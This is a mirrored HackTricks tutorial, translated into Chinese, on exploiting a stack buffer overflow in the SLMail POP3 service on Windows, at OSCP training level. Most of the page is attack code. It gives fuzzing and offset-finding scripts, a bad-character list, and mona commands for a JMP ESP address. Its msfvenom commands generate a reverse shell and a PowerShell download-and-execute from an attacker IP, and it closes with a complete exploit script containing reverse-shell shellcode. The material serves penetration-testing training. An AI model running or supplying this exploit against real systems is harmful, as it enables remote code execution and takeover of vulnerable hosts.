mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
262 lines
9.7 KiB
Markdown
262 lines
9.7 KiB
Markdown
# Windows Exploiting (Basic Guide - OSCP lvl)
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<details>
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<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
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其他支持HackTricks的方式:
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* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
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* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
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* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
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* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
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* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
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</details>
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## **开始安装SLMail服务**
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## 重新启动SLMail服务
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每次需要**重新启动SLMail服务**时,您可以使用Windows控制台执行以下操作:
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```
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net start slmail
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```
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![](<../.gitbook/assets/image (23) (1).png>)
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## 非常基本的Python利用模板
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```python
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#!/usr/bin/python
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import socket
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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ip = '10.11.25.153'
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port = 110
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buffer = 'A' * 2700
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try:
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print "\nLaunching exploit..."
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s.connect((ip, port))
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data = s.recv(1024)
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s.send('USER username' +'\r\n')
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data = s.recv(1024)
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s.send('PASS ' + buffer + '\r\n')
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print "\nFinished!."
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except:
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print "Could not connect to "+ip+":"+port
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```
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## **更改 Immunity Debugger 字体**
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前往 `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
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## **将进程附加到 Immunity Debugger:**
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**File --> Attach**
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![](<../.gitbook/assets/image (24) (1) (1).png>)
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**然后按 START 按钮**
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## **发送利用并检查 EIP 是否受影响:**
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![](<../.gitbook/assets/image (25) (1) (1).png>)
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每次中断服务后,应按照本页开头的指示重新启动服务。
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## 创建一个模式来修改 EIP
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该模式的大小应与先前用于中断服务的缓冲区大小相同。
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![](<../.gitbook/assets/image (26) (1) (1).png>)
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```
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/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
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```
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更改 exploit 的缓冲区并设置模式,然后启动 exploit。
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应该出现新的崩溃,但具有不同的 EIP 地址:
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![](<../.gitbook/assets/image (27) (1) (1).png>)
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检查地址是否在您的模式中:
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![](<../.gitbook/assets/image (28) (1) (1).png>)
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```
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/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
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```
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看起来**我们可以修改缓冲区中偏移为2606的EIP**。
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检查一下修改漏洞利用的缓冲区:
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```
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buffer = 'A'*2606 + 'BBBB' + 'CCCC'
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```
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使用这个缓冲区,EIP 崩溃应该指向 42424242 ("BBBB")
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![](<../.gitbook/assets/image (30) (1) (1).png>)
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![](<../.gitbook/assets/image (29) (1) (1).png>)
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看起来它正在工作。
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## 检查堆栈内的 Shellcode 空间
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600B 应该足够容纳任何强大的 shellcode。
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让我们改变缓冲区:
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```
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buffer = 'A'*2606 + 'BBBB' + 'C'*600
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```
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启动新的利用程序并检查EBP和有用shellcode的长度
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![](<../.gitbook/assets/image (31) (1).png>)
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![](<../.gitbook/assets/image (32) (1).png>)
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您可以看到当漏洞被触发时,EBP指向shellcode,并且我们有很多空间来定位shellcode。
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在这种情况下,我们有**从0x0209A128到0x0209A2D6 = 430B。** 足够。
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## 检查不良字符
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再次更改缓冲区:
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```
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badchars = (
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"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
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"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
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"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
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"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
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"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
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"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
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"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
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"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
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"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
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"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
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"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
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"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
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"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
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"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
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"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
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"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
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)
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buffer = 'A'*2606 + 'BBBB' + badchars
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```
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badchars 从 0x01 开始,因为 0x00 几乎总是不好的。
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重复执行利用程序,使用新的缓冲区删除发现无用的字符:。
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例如:
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在这种情况下,您可以看到**不应使用字符 0x0A**(因为内存中没有保存字符 0x09)。
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![](<../.gitbook/assets/image (33) (1).png>)
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在这种情况下,您可以看到**字符 0x0D 被避免**:
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![](<../.gitbook/assets/image (34) (1).png>)
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## 寻找 JMP ESP 作为返回地址
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使用:
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```
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!mona modules #Get protections, look for all false except last one (Dll of SO)
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```
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您将**列出内存映射**。搜索具有以下特征的某些DLL:
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- **重新基址(Rebase):False**
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- **SafeSEH:False**
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- **ASLR:False**
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- **NXCompat:False**
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- **OS DLL:True**
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![](<../.gitbook/assets/image (35) (1).png>)
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现在,在这段内存中,您应该找到一些JMP ESP字节,为此执行:
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```
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!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
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!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
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```
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**然后,如果找到某个地址,请选择一个不包含任何坏字符的地址:**
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![](<../.gitbook/assets/image (36) (1).png>)
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**在这种情况下,例如: \_0x5f4a358f**\_
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## 创建 shellcode
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```
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msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
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msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
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```
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如果利用漏洞没有生效但应该生效(可以通过ImDebg看到已经到达shellcode),尝试创建其他shellcode(msfvenom使用相同参数创建不同的shellcode)。
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在shellcode开头**添加一些NOPS**,并使用它和返回地址跳转到JMP ESP,完成利用:
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```bash
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#!/usr/bin/python
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import socket
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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ip = '10.11.25.153'
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port = 110
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shellcode = (
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"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
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"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
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"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
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"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
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"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
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"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
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"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
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"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
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"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
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"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
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"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
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"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
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"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
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"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
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"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
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"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
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"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
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"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
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"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
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"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
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"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
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"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
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"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
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"\x2d\xb8\x63\xe2\x4e\xe9"
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)
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buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
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try:
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print "\nLaunching exploit..."
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s.connect((ip, port))
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data = s.recv(1024)
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s.send('USER username' +'\r\n')
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data = s.recv(1024)
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s.send('PASS ' + buffer + '\r\n')
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print "\nFinished!."
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except:
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print "Could not connect to "+ip+":"+port
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```
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{% hint style="warning" %}
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有一些 shellcode 会**覆盖自身**,因此在 shellcode 前始终添加一些 NOP 是很重要的
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{% endhint %}
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## 改进 shellcode
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添加以下参数:
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```
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EXITFUNC=thread -e x86/shikata_ga_nai
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```
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<details>
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<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
其他支持HackTricks的方式:
|
||
|
||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
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||
</details>
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